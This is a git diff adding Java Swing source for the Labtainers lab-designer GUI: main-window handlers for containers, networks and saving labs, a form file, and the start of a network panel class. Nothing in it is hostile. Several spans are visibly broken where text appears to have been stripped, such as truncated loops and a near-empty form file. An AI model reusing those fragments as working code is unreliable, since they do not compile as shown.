{//GEN-FIRST:event_copyContainerButtonActionPerformed + try{ + File container = labContainerButton(); + if(container != null){ + + File lab = container.getParentFile(); + File lab_dir = lab.getParentFile(); + if(lab_dir.getName().equals("labs")){ + saveLab(false, true); + String cmd = "new_lab_setup.py -C "+lab.getName()+" "+container.getName()+" newcontainer"; + doLabCommand(cmd); + ContainerObjPanel newPanel = getContainerPanel("newcontainer"); + if(newPanel != null){ + newPanel.renameContainerButton(); + }else{ + System.out.println("Error getting new container name"); + } + reloadLab(); + }else{ + output("Not a lab container: "+container.getName()); + } + } + } catch (IOException ex) { + Logger.getLogger(MainWindow.class.getName()).log(Level.SEVERE, null, ex); + } + }//GEN-LAST:event_copyContainerButtonActionPerformed + + private void keywordsMenuItemActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_keywordsMenuItemActionPerformed + String keywordPath = this.currentLab.toString()+File.separator+"config"+File.separator+"keywords.txt"; + String cmd = getTextEditor()+" "+keywordPath+" &"; + doCommand(cmd); + }//GEN-LAST:event_keywordsMenuItemActionPerformed + + + //BUTTON FUNCTIONS// + + // Preps the Container Dialog components and sets the Container Dialog visible + private void addContainerButton(){ + ContainerAddDialogNameTextfield.setText(""); + ContainerAddDialog.setVisible(true); + } + + // Preps the Network Dialog components and sets the Network Dialog visible + private void addNetworkButton(){ + NetworkAddDialogGatewayTextfield.setText(""); + NetworkAddDialogMacVLanExtSpinner.setValue(0); + NetworkAddDialogMacVLanSpinner.setValue(0); + NetworkAddDialogMaskTextfield.setText(""); + NetworkAddDialogNameTextfield.setText(""); + NetworkAddDialogTapRadioButton.setSelected(false); + NetworkAddDialog.setVisible(true); + } + + // Adds new Network to the data state and the UI + private void newNetworkDialogCreateButton(){ + //Create new networkData object here based on the field info + LabData.NetworkData newNetworkData = new LabData.NetworkData( + NetworkAddDialogNameTextfield.getText().toUpperCase(), + NetworkAddDialogMaskTextfield.getText(), + NetworkAddDialogGatewayTextfield.getText(), + (int)NetworkAddDialogMacVLanExtSpinner.getValue(), + (int)NetworkAddDialogMacVLanSpinner.getValue(), + NetworkAddDialogTapRadioButton.isSelected() + ); + + // Update the list of labs in the current UI data object + labDataCurrent.getNetworks().add(newNetworkData); + + // Add the network into the UI + addNetworkPanel(newNetworkData); + + // Update the Container Config dialogs to include the new network + updateNetworkReferenceInContainerConfigDialogs("Add", NetworkAddDialogNameTextfield.getText().toUpperCase(), null); + } + + // Opens up file chooser window that defaults to the labs directory relative to the set labtainerPath + // and opens the lab based on the lab directory chosen + private File openLabButton() throws IOException{ + File retval = null; + if(labName != null){ + try{ + saveLab(true, false); + } catch (IOException ex) { + Logger.getLogger(MainWindow.class.getName()).log(Level.SEVERE, null, ex); + } + } + labChooser.setCurrentDirectory(labsPath); + int returnVal = labChooser.showOpenDialog(this); + if (returnVal == JFileChooser.APPROVE_OPTION) { + File lab = labChooser.getSelectedFile(); + while(!lab.getParent().endsWith(File.separator+"labs")){ + lab = new File(lab.getParent()); + } + retval = lab; + } + return retval; + } + + private File labContainerButton() throws IOException{ + File retval = null; + if(labName != null){ + try{ + saveLab(true, false); + } catch (IOException ex) { + Logger.getLogger(MainWindow.class.getName()).log(Level.SEVERE, null, ex); + } + } + labChooser.setCurrentDirectory(labsPath); + int returnVal = labChooser.showOpenDialog(this); + if (returnVal == JFileChooser.APPROVE_OPTION) { + retval = labChooser.getSelectedFile(); + } + return retval; + } + // Preps the NewLab Dialog and makes it visible + private void newLabButton(){ + if(labName != null){ + try{ + saveLab(true, false); + } catch (IOException ex) { + Logger.getLogger(MainWindow.class.getName()).log(Level.SEVERE, null, ex); + } + } + NewLabNameTextfield.setText(""); + NewLabDialog.setVisible(true); + NewLabNameTextfield.requestFocusInWindow(); + } + + + // Preps Save As Dialog and makes it visible + private void saveAsButton(){ + SaveAsLabNameTextField.setText(""); + SaveAsErrorLabel.setVisible(false); + SaveAsDialog.setVisible(true); + } + + // Checks if save lab as input is valid: makes a saveas() call if valid, and displays error message if otherwise + private void saveAsConfirmButton(){ + //Check if the input is valid (lcase and no spaces) + String input = SaveAsLabNameTextField.getText(); + + if(input.contains(" ") || !input.equals(input.toLowerCase())){ + SaveAsErrorLabel.setText("Lab name must be lowercase and contain no spaces!"); + SaveAsErrorLabel.setVisible(true); + } + //Check if lab already exists + else if(Arrays.asList(labsPath.list()).contains(input)){ + SaveAsErrorLabel.setText("Lab already exists!"); + SaveAsErrorLabel.setVisible(true); + } + else{ + SaveAsErrorLabel.setVisible(false); + saveAs(input); + SaveAsDialog.setVisible(false); + } + } + + // Creates, Loads, and Opens Results Configuration UI + private void resultsConfigButton(){ + if(!resultsOpened){ + resultsUI = new ResultsUI(this, false); + resultsUI.setTitle("Results for "+this.labName); + resultsOpened = true; + } + } + + // Creates, Loads, and Opens the Goals Configuration UI + private void goalsConfigButton(){ + if(!goalsOpened){ + goalsUI = new GoalsUI(this, false); + goalsUI.setTitle("Goals for "+this.labName); + goalsOpened = true; + } + } + + // CORE FUNCTIONS // + + public int containerPanePanelLength = 0; + private final JScrollBar containerScrollPaneBar; + private void addContainerPanel(ContainerData data){ + // Create the Container Obj Panel and add it + ContainerObjPanel newContainer; + // If null then this is a new container being added + if(data == null){ + String containerName = ContainerAddDialogNameTextfield.getText(); + if(containerName == null || containerName.trim().length() == 0){ + System.out.println("No container name provided."); + return; + } + if(containerName.equals("newcontainer")){ + JOptionPane.showMessageDialog(null, "The name 'newcontainer' is reserved and cannot b used.", "Warning", + JOptionPane.WARNING_MESSAGE); + return; + } + String baseImage = (String)ContainerAddDialogBaseImageCombobox.getSelectedItem(); + // Add the container into the user's file system + addContainer(containerName, baseImage); + // Reload from newly modified start.config + File lab = null; + lab = new File(labsPath+File.separator+this.labName); + try{ + this.labDataCurrent = new LabData(this, lab, this.labName); + }catch(IOException ex){ + System.out.println("failed load labData file for "+this.labName); + } + + //ContainerData freshContainerData = new ContainerData(containerName); + ArrayList containerList = labDataCurrent.getContainers(); + ContainerData newContainerData = containerList.get(containerList.size()-1); + newContainer = new ContainerObjPanel(this, newContainerData); + + // Update the data object to include the new container + // labDataCurrent.getContainers().add(newContainerData); + ResultsData.containerList.add(containerName); + + // Update the Results UI to include the new container + if(resultsUI!= null) + resultsUI.refresh(); + + } + else { + newContainer = new ContainerObjPanel(this, data); + } + newContainer.setNameLabel(); + + // Resize the JPanel holding all the ContainerObjPanels to fit another ContainerObjPanel + containerPanePanelLength+=50; + ContainerPanePanel.setPreferredSize(new Dimension(0,containerPanePanelLength)); + ContainerPanePanel.add(newContainer); + + // Redraw GUI with the new Panel + ContainerPanePanel.revalidate(); + ContainerPanePanel.repaint(); + + // Lower the Scroll Bar to show the newly added container. BUG[6/25/20]: still always off by a single panel + containerScrollPaneBar.setValue(50+containerScrollPaneBar.getMaximum()); + + // Make the Container Add Dialog Invisible + ContainerAddDialog.setVisible(false); + } + + // Adds the container in the lab directory structure by calling 'new_lab_setup.py -a containername -b baseImage' + private void addContainer(String containerName, String baseImage){ + // Call python new_lab_script: new_lab_setup.py -b basename + //String cmd = "./addContainer.sh "+labsPath+" "+labName+" "+containerName+" "+baseImage; + String cmd = "new_lab_setup.py -a "+containerName+" -b "+baseImage; + doLabCommand(cmd); + } + + public int networkPanePanelLength = 0; + private JScrollBar networkScrollPaneBar; + private void addNetworkPanel(NetworkData data){ + //Resize the JPanel Holding all the NetworkObjPanels to fit another NetworkObjPanel + //[BUG: 6/25/2020] Not sure Why but the network obj panel needs to be 1 px taller than the container panel to be the same size + networkPanePanelLength+=51; + NetworkPanePanel.setPreferredSize(new Dimension(0,networkPanePanelLength)); + + // Create the Network Obj Panel and add it + NetworkPanePanel.add(new NetworkObjPanel(this, data)); + + // Redraw GUI with the new Panel + NetworkPanePanel.revalidate(); + NetworkPanePanel.repaint(); + + //Lower the Scroll Bar to show the newly added container (BUG[6/25/20]: still always off by a single panel) + networkScrollPaneBar.setValue(networkScrollPaneBar.getMaximum()); + + // Make the Network Add Dialog Disappear + NetworkAddDialog.setVisible(false); + } + private void checkManual() throws IOException{ + String readFirstPath = this.currentLab.toString()+File.separator+"docs"+File.separator+"read_first.txt"; + BufferedReader br = null; + try{ + br = new BufferedReader(new FileReader(readFirstPath)); + }catch(FileNotFoundException ex){ + output("Missing file at "+readFirstPath); + return; + } + String docname = null; + String line; + while ((line = br.readLine()) != null) + { + if(line.trim().startsWith("file://LAB_DOCS")){ + docname = line.substring(line.lastIndexOf(File.separator)+1); + break; + }else if(line.contains("LAB_MANUAL")){ + docname = this.labName+".pdf"; + break; + } + } + if(docname != null){ + String manualPath = currentLab.toString()+File.separator+"docs"+File.separator+docname; + File manual = new File(manualPath); + if(! manual.exists()){ + output("No lab manual found at docs/"+docname+" Use 'Edit=>Lab documents' and create a lab manual there, or\n"); + output("change the name in read_first.txt to match your lab manual.\n"); + } + }else{ + output("No link to a lab manual found in "+readFirstPath+"\n"); + output("path should include: file://LAB_DOCS/ OBE = Set.of("base", "network", "centos6", "centos", "network.ssh", "wireshark"); + + ArrayList baseList = new ArrayList(); + InputStream inputStream = brokenJavaNaming("base.list"); + if(inputStream == null){ + System.out.println("No base.list file found."); + }else{ + InputStreamReader streamReader = new InputStreamReader(inputStream, StandardCharsets.UTF_8); + BufferedReader reader = new BufferedReader(streamReader); + try{ + for (String line; (line = reader.readLine()) != null;) { + baseList.add(line); + } + }catch(IOException ex){ + System.out.println(ex); + } + } + + // Get list of valid base dockerfiles + File dockerfileBasesPath = new File(labtainerPath + File.separator +"scripts"+ File.separator+"designer"+File.separator+"base_dockerfiles"); + File[] baseFiles = dockerfileBasesPath.listFiles(new FilenameFilter(){ + public boolean accept(File dockerfileBasesPath, String filename) + {return filename.startsWith("Dockerfile.labtainer."); } + } ); + Arrays.sort(baseFiles); + for(int i = 0;i 0){ + outstream.write(buffer, 0, length); + } + + //Closing the input/output file streams + instream.close(); + outstream.close(); + + System.out.println("File copied successfully!!"); + + }catch(IOException ioe){ + ioe.printStackTrace(); + } + } + + // Writes a value to a key in the main.ini file + private void writeValueToINI(String key, String value){ + try{ + // update the labtainerPath property + //prefProperties.load(new FileInputStream(iniFile)); + prefProperties.put(key, value); + + // write update to the ini File + date = new Date(); + FileOutputStream out = new FileOutputStream(this.iniFile); + prefProperties.store(out, "Updated: "+ formatter.format(date)); + out.close(); + }catch(IOException ioe){ + output("Error writing to INI file "+ioe+"\n"); + } + } + + // Clears the panels of Containers and Networks + private void resetWindow(){ + // Clear Container Panel + Component[] componentList = ContainerPanePanel.getComponents(); + for(Component c: componentList) + ContainerPanePanel.remove(c); + + containerPanePanelLength=0; + ContainerPanePanel.setPreferredSize(new Dimension(0,containerPanePanelLength)); + + // Clear Network Panel + componentList = NetworkPanePanel.getComponents(); + for(Component c: componentList) + NetworkPanePanel.remove(c); + + networkPanePanelLength=0; + NetworkPanePanel.setPreferredSize(new Dimension(0,networkPanePanelLength)); + + this.revalidate(); + this.repaint(); + } + + // Load the data into the UI + private void loadLab(){ + LabnameLabel.setText("Lab: "+labDataCurrent.getName()); + + // Load the networks + for(int i = 0;i + /* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel. + * For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html + */ + try { + for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) { + if ("Nimbus".equals(info.getName())) { + javax.swing.UIManager.setLookAndFeel(info.getClassName()); + break; + } + } + } catch (ClassNotFoundException ex) { + java.util.logging.Logger.getLogger(MainWindow.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); + } catch (InstantiationException ex) { + java.util.logging.Logger.getLogger(MainWindow.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); + } catch (IllegalAccessException ex) { + java.util.logging.Logger.getLogger(MainWindow.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); + } catch (javax.swing.UnsupportedLookAndFeelException ex) { + java.util.logging.Logger.getLogger(MainWindow.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); + } + // + + /* Create and display the form */ + java.awt.EventQueue.invokeLater(new Runnable() { + public void run() { + try { + new MainWindow().setVisible(true); + } catch (IOException ex) { + System.out.println(ex); + } + } + }); + } + + // Variables declaration - do not modify//GEN-BEGIN:variables + private javax.swing.JMenuItem AboutLabMenuItem; + private javax.swing.JButton AssessmentButton; + private javax.swing.JButton AssessmentButton1; + private javax.swing.JPanel AssessmentPanel; + private javax.swing.JMenuItem BuildAndRun; + private javax.swing.JMenuItem BuildOnlyMenuItem; + private javax.swing.JDialog ContainerAddDialog; + private javax.swing.JComboBox ContainerAddDialogBaseImageCombobox; + private javax.swing.JButton ContainerAddDialogCancelButton; + private javax.swing.JButton ContainerAddDialogCreateButton; + private javax.swing.JTextField ContainerAddDialogNameTextfield; + private javax.swing.JPanel ContainerPanePanel; + private javax.swing.JPanel ContainerPanel; + private javax.swing.JScrollPane ContainerScrollPane; + private javax.swing.JMenuItem DesignerMenuItem; + private javax.swing.JMenu EditMenu; + private javax.swing.JMenuItem ExitMenuItem; + private javax.swing.JMenu FileMenuBar; + private javax.swing.JMenuItem GradeLabMenu; + private javax.swing.JLabel GraderRunning; + private javax.swing.JPanel Header; + private javax.swing.JMenu HelpMenu; + private javax.swing.JPanel IndividualizePanel; + private javax.swing.JMenuItem InstructorMenuItem; + private javax.swing.JMenuItem LabDocumentsMenuItem; + private javax.swing.JLabel LabExistLabel; + private javax.swing.JLabel LabnameLabel; + private javax.swing.JCheckBoxMenuItem LocalBuildCheckbox; + private javax.swing.JMenuBar MainMenuBar; + private javax.swing.JDialog NetworkAddDialog; + private javax.swing.JButton NetworkAddDialogCancelButton; + private javax.swing.JButton NetworkAddDialogCreateButton; + private javax.swing.JTextField NetworkAddDialogGatewayTextfield; + private javax.swing.JSpinner NetworkAddDialogMacVLanExtSpinner; + private javax.swing.JSpinner NetworkAddDialogMacVLanSpinner; + private javax.swing.JTextField NetworkAddDialogMaskTextfield; + private javax.swing.JTextField NetworkAddDialogNameTextfield; + private javax.swing.JRadioButton NetworkAddDialogTapRadioButton; + private javax.swing.JPanel NetworkPanePanel; + private javax.swing.JPanel NetworkPanel; + private javax.swing.JScrollPane NetworkScrollPane; + private javax.swing.JComboBox NewLabBaseImageComboBox; + private javax.swing.JButton NewLabCancelButton; + private javax.swing.JButton NewLabCreateButton; + private javax.swing.JDialog NewLabDialog; + private javax.swing.JMenuItem NewLabMenuItem; + private javax.swing.JTextField NewLabNameTextfield; + private javax.swing.JMenuItem OpenLabMenuItem; + private javax.swing.JTextArea OutputTextArea; + private javax.swing.JMenuItem PreferencesMenuItem; + private javax.swing.JMenuItem RunLabMenu; + private javax.swing.JMenu RunMenu; + private javax.swing.JLabel RunningLabel; + private javax.swing.JButton SaveAsCancelButton; + private javax.swing.JButton SaveAsConfirmButton; + private javax.swing.JDialog SaveAsDialog; + private javax.swing.JLabel SaveAsErrorLabel; + private javax.swing.JTextField SaveAsLabNameTextField; + private javax.swing.JMenuItem SaveAsMenuItem; + private javax.swing.JMenuItem SaveMenuItem; + private javax.swing.JMenuItem SimLabMenu; + private javax.swing.JMenuItem SimlabDirectivesMenuItem; + private javax.swing.JMenuItem StopGraderMenu; + private javax.swing.JMenuItem StopLabMenuItem; + private javax.swing.JMenuItem StudentMenuItem; + private javax.swing.JMenu ViewMenu; + private javax.swing.JButton addContainerButton; + private javax.swing.JButton addNetworkButton; + private javax.swing.JMenuItem buildMenuItem; + private javax.swing.JMenuItem checkWorkMenuItem; + private javax.swing.JMenuItem configMenuItem; + private javax.swing.JButton copyContainerButton; + private javax.swing.JLabel jLabel1; + private javax.swing.JLabel jLabel11; + private javax.swing.JLabel jLabel12; + private javax.swing.JLabel jLabel14; + private javax.swing.JLabel jLabel2; + private javax.swing.JLabel jLabel3; + private javax.swing.JLabel jLabel4; + private javax.swing.JLabel jLabel5; + private javax.swing.JLabel jLabel6; + private javax.swing.JLabel jLabel7; + private javax.swing.JScrollPane jScrollPane1; + private javax.swing.JPopupMenu.Separator jSeparator1; + private javax.swing.JPopupMenu.Separator jSeparator2; + private javax.swing.JPopupMenu.Separator jSeparator4; + private javax.swing.JPopupMenu.Separator jSeparator5; + private javax.swing.JMenuItem keywordsMenuItem; + private javax.swing.JFileChooser labChooser; + private javax.swing.JMenuItem labtainerLogMenuItem; + private javax.swing.JLabel logo; + private javax.swing.JButton paramsButton; + private javax.swing.JMenuItem readfirstMenu; + // End of variables declaration//GEN-END:variables + + private static class StreamGobbler implements Runnable { + private InputStream inputStream; + private Consumer consumer; + + public StreamGobbler(InputStream inputStream, Consumer consumer) { + this.inputStream = inputStream; + this.consumer = consumer; + } + + @Override + public void run() { + new BufferedReader(new InputStreamReader(inputStream)).lines() + .forEach(consumer); + } + } + +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/NetworkObjPanel.form b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/NetworkObjPanel.form new file mode 100644 index 000000000..5e2ac5023 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/NetworkObjPanel.form @@ -0,0 +1,274 @@ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/NetworkObjPanel.java b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/NetworkObjPanel.java new file mode 100644 index 000000000..67b632f06 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/NetworkObjPanel.java @@ -0,0 +1,425 @@ +/* +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, +INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, +STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. + */ +package labtainers.mainui; + +import java.awt.Dimension; +import javax.swing.JDialog; +import javax.swing.JOptionPane; +import javax.swing.JPanel; +import javax.swing.SwingUtilities; + +/** + * + * @author Daniel Liao + */ +public class NetworkObjPanel extends javax.swing.JPanel { + + /** + * Creates new form NetworkObjPanel + */ + private final MainWindow mainWindow; + private final LabData.NetworkData data; + + // Constructor for loading a network object panel based on a network data object + NetworkObjPanel(MainWindow mainWindow, LabData.NetworkData data) { + initComponents(); + this.mainWindow = mainWindow; + this.data = data; + + this.NetworkLabelName.setText(this.data.name); + this.NetworkMaskLabel.setText(this.data.mask); + this.RenameNetworkTextfield.setVisible(false); + } + + /** + * This method is called from within the constructor to initialize the form. + * WARNING: Do NOT modify this code. The content of this method is always + * regenerated by the Form Editor. + */ + @SuppressWarnings("unchecked") + // //GEN-BEGIN:initComponents + private void initComponents() { + + NetworkConfigWindow = new javax.swing.JDialog(); + jLabel4 = new javax.swing.JLabel(); + jLabel5 = new javax.swing.JLabel(); + NetworkConfigMaskTextfield = new javax.swing.JTextField(); + NetworkConfigGatewayTextField = new javax.swing.JTextField(); + NetworkConfigCancelButton = new javax.swing.JButton(); + NetworkConfigUpdateButton = new javax.swing.JButton(); + NetworkConfigMacVLanExtSpinner = new javax.swing.JSpinner(); + NetworkConfigMacVLanSpinner = new javax.swing.JSpinner(); + TapRadioButton = new javax.swing.JRadioButton(); + NetworkRightClick = new javax.swing.JPopupMenu(); + renameNetworkOption = new javax.swing.JMenuItem(); + jSeparator1 = new javax.swing.JPopupMenu.Separator(); + deleteNetworkOption = new javax.swing.JMenuItem(); + RenameNetworkTextfield = new javax.swing.JTextField(); + NetworkLabelName = new javax.swing.JLabel(); + NetworkMaskLabel = new javax.swing.JLabel(); + + NetworkConfigWindow.setMinimumSize(new java.awt.Dimension(377, 335)); + NetworkConfigWindow.setResizable(false); + NetworkConfigWindow.addWindowListener(new java.awt.event.WindowAdapter() { + public void windowClosing(java.awt.event.WindowEvent evt) { + NetworkConfigWindowWindowClosing(evt); + } + }); + + jLabel4.setFont(new java.awt.Font("Arial", 1, 14)); // NOI18N + jLabel4.setText("MACVLAN_EXT:"); + + jLabel5.setFont(new java.awt.Font("Arial", 1, 14)); // NOI18N + jLabel5.setText("MACVLAN:"); + + NetworkConfigMaskTextfield.setFont(new java.awt.Font("Ubuntu", 0, 18)); // NOI18N + NetworkConfigMaskTextfield.setBorder(javax.swing.BorderFactory.createTitledBorder(null, "Subnet", javax.swing.border.TitledBorder.DEFAULT_JUSTIFICATION, javax.swing.border.TitledBorder.DEFAULT_POSITION, new java.awt.Font("Dialog", 1, 14))); // NOI18N + + NetworkConfigGatewayTextField.setFont(new java.awt.Font("Ubuntu", 0, 18)); // NOI18N + NetworkConfigGatewayTextField.setToolTipText("IP used as the default gateway on containers connected to this network. Used to communicate with the host computer and the outside world. This should not be the IP address of any of the containers."); + NetworkConfigGatewayTextField.setBorder(javax.swing.BorderFactory.createTitledBorder(null, "External gateway", javax.swing.border.TitledBorder.DEFAULT_JUSTIFICATION, javax.swing.border.TitledBorder.DEFAULT_POSITION, new java.awt.Font("Dialog", 1, 14))); // NOI18N + + NetworkConfigCancelButton.setText("Cancel"); + NetworkConfigCancelButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + NetworkConfigCancelButtonActionPerformed(evt); + } + }); + + NetworkConfigUpdateButton.setText("OK"); + NetworkConfigUpdateButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + NetworkConfigUpdateButtonActionPerformed(evt); + } + }); + + NetworkConfigMacVLanExtSpinner.setFont(new java.awt.Font("Arial", 0, 18)); // NOI18N + + NetworkConfigMacVLanSpinner.setFont(new java.awt.Font("Arial", 0, 18)); // NOI18N + + TapRadioButton.setFont(new java.awt.Font("Ubuntu", 1, 15)); // NOI18N + TapRadioButton.setText("TAP"); + + javax.swing.GroupLayout NetworkConfigWindowLayout = new javax.swing.GroupLayout(NetworkConfigWindow.getContentPane()); + NetworkConfigWindow.getContentPane().setLayout(NetworkConfigWindowLayout); + NetworkConfigWindowLayout.setHorizontalGroup( + NetworkConfigWindowLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(NetworkConfigWindowLayout.createSequentialGroup() + .addContainerGap() + .addGroup(NetworkConfigWindowLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) + .addGroup(NetworkConfigWindowLayout.createSequentialGroup() + .addComponent(NetworkConfigUpdateButton) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(NetworkConfigCancelButton)) + .addGroup(NetworkConfigWindowLayout.createSequentialGroup() + .addGroup(NetworkConfigWindowLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel4, javax.swing.GroupLayout.Alignment.TRAILING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, NetworkConfigWindowLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(TapRadioButton) + .addComponent(jLabel5))) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addGroup(NetworkConfigWindowLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(NetworkConfigMacVLanSpinner, javax.swing.GroupLayout.PREFERRED_SIZE, 45, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(NetworkConfigMacVLanExtSpinner, javax.swing.GroupLayout.PREFERRED_SIZE, 45, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGap(184, 184, 184))) + .addContainerGap(22, Short.MAX_VALUE)) + .addGroup(NetworkConfigWindowLayout.createSequentialGroup() + .addGroup(NetworkConfigWindowLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(NetworkConfigMaskTextfield, javax.swing.GroupLayout.PREFERRED_SIZE, 229, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(NetworkConfigGatewayTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 229, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGap(0, 0, Short.MAX_VALUE)) + ); + NetworkConfigWindowLayout.setVerticalGroup( + NetworkConfigWindowLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(NetworkConfigWindowLayout.createSequentialGroup() + .addContainerGap() + .addComponent(NetworkConfigMaskTextfield, javax.swing.GroupLayout.PREFERRED_SIZE, 61, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(NetworkConfigGatewayTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 58, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(NetworkConfigWindowLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(jLabel4) + .addComponent(NetworkConfigMacVLanExtSpinner, javax.swing.GroupLayout.PREFERRED_SIZE, 33, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGroup(NetworkConfigWindowLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(NetworkConfigWindowLayout.createSequentialGroup() + .addGap(25, 25, 25) + .addComponent(jLabel5)) + .addGroup(NetworkConfigWindowLayout.createSequentialGroup() + .addGap(18, 18, 18) + .addComponent(NetworkConfigMacVLanSpinner, javax.swing.GroupLayout.PREFERRED_SIZE, 33, javax.swing.GroupLayout.PREFERRED_SIZE))) + .addGap(27, 27, 27) + .addComponent(TapRadioButton) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 9, Short.MAX_VALUE) + .addGroup(NetworkConfigWindowLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(NetworkConfigUpdateButton) + .addComponent(NetworkConfigCancelButton)) + .addContainerGap()) + ); + + renameNetworkOption.setText("Rename"); + renameNetworkOption.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + renameNetworkOptionActionPerformed(evt); + } + }); + NetworkRightClick.add(renameNetworkOption); + NetworkRightClick.add(jSeparator1); + + deleteNetworkOption.setText("Delete"); + deleteNetworkOption.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + deleteNetworkOptionActionPerformed(evt); + } + }); + NetworkRightClick.add(deleteNetworkOption); + + setBorder(javax.swing.BorderFactory.createBevelBorder(javax.swing.border.BevelBorder.RAISED)); + setMaximumSize(new java.awt.Dimension(340, 51)); + setMinimumSize(new java.awt.Dimension(340, 51)); + setName(""); // NOI18N + setPreferredSize(new java.awt.Dimension(340, 51)); + addMouseListener(new java.awt.event.MouseAdapter() { + public void mouseClicked(java.awt.event.MouseEvent evt) { + formMouseClicked(evt); + } + }); + + RenameNetworkTextfield.setFont(new java.awt.Font("Arial", 1, 18)); // NOI18N + RenameNetworkTextfield.setHorizontalAlignment(javax.swing.JTextField.CENTER); + RenameNetworkTextfield.setMinimumSize(new java.awt.Dimension(300, 35)); + RenameNetworkTextfield.setPreferredSize(new java.awt.Dimension(300, 35)); + RenameNetworkTextfield.setRequestFocusEnabled(false); + RenameNetworkTextfield.addFocusListener(new java.awt.event.FocusAdapter() { + public void focusLost(java.awt.event.FocusEvent evt) { + RenameNetworkTextfieldFocusLost(evt); + } + }); + RenameNetworkTextfield.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + RenameNetworkTextfieldActionPerformed(evt); + } + }); + add(RenameNetworkTextfield); + + NetworkLabelName.setFont(new java.awt.Font("Arial", 1, 18)); // NOI18N + NetworkLabelName.setHorizontalAlignment(javax.swing.SwingConstants.CENTER); + NetworkLabelName.setText("network_name"); + add(NetworkLabelName); + + NetworkMaskLabel.setFont(new 